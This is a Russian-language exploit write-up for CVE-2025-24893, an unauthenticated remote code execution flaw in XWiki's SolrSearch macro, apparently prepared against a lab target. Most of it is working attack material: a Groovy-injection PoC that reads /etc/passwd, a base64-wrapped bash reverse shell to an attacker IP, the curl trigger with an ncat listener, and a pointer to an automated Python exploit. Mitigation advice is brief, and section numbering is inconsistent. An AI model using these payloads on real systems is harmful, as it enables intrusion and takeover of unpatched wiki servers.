CVE-2025-24893 – Неаутентифицированное удалённое выполнение кода в XWiki

0 Оглавление

1. Сводка
2. Детали уязвимости
3. Затронутые версии
4. Доказательство концепции
   • 4.1 Создание полезной нагрузки
   • 4.2 Ручная эксплуатация
   • 4.3 Автоматизированный эксплойт на Python
5. Смягчение
6. Авторы и ссылки

1 Сводка

• CVE: 2025-24893
• Компонент: макрос SolrSearch (интерфейс XWiki)
• Серьёзность: 9.8 / КРИТИЧЕСКАЯ (CVSS 3.1)
• Вектор атаки: неаутентифицированный HTTP GET
• Воздействие: произвольное выполнение Groovy → RCE на уровне системы (права пользователя Jetty/Tomcat)

Конечная точка /xwiki/bin/get/Main/SolrSearch конкатенирует недоверенные входные данные text= напрямую в шаблон Freemarker.
Преждевременно закрыв шаблон и открыв новый блок {{groovy}} … {{/groovy}}, атакующий может выполнить произвольный Groovy-код без аутентификации.

2 Детали уязвимости

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch должен встраивать переданный текст как обычное содержимое, но обработчик макроса не экранирует }}}, поэтому происходит следующее:

1. }}} закрывает текущий блок Freemarker.
2. Атакующий открывает новый макрос:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false принудительно выполняет код синхронно (работает даже для гостей).

3. Groovy выполняется с правами процесса JVM XWiki.

Минимальный PoC, который выводит /etc/passwd:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

URL-закодированный вариант (пробелы → %20, скобки → %7B/%7D и т.д.):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Затронутые версии

(источник: консультация OffSec и XWiki SEC-S 2025-02)

5 Доказательство концепции

5.1 Создание полезной нагрузки

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Ручная эксплуатация

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Автоматизированный эксплойт

xwiki_solr_rce.py поставляется в каталоге exploit/ (см. блок кода ниже).

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

где

<TARGET URL> - URL including http:// or https://

(передайте -c "id", чтобы выполнить произвольную команду вместо shell)

6 Смягчение

• Обновитесь до 15.10.11 / 14.10.17 или новее
• Временный обходной путь: отключите макрос

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Авторы и ссылки

• OffSec Research: “Unauth RCE in XWiki” – 20 февраля 2025 г.
• Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Исследование и PoC: DeX1d

Отказ от ответственности: Только для образовательных целей. Использование против систем, которыми вы не владеете, незаконно.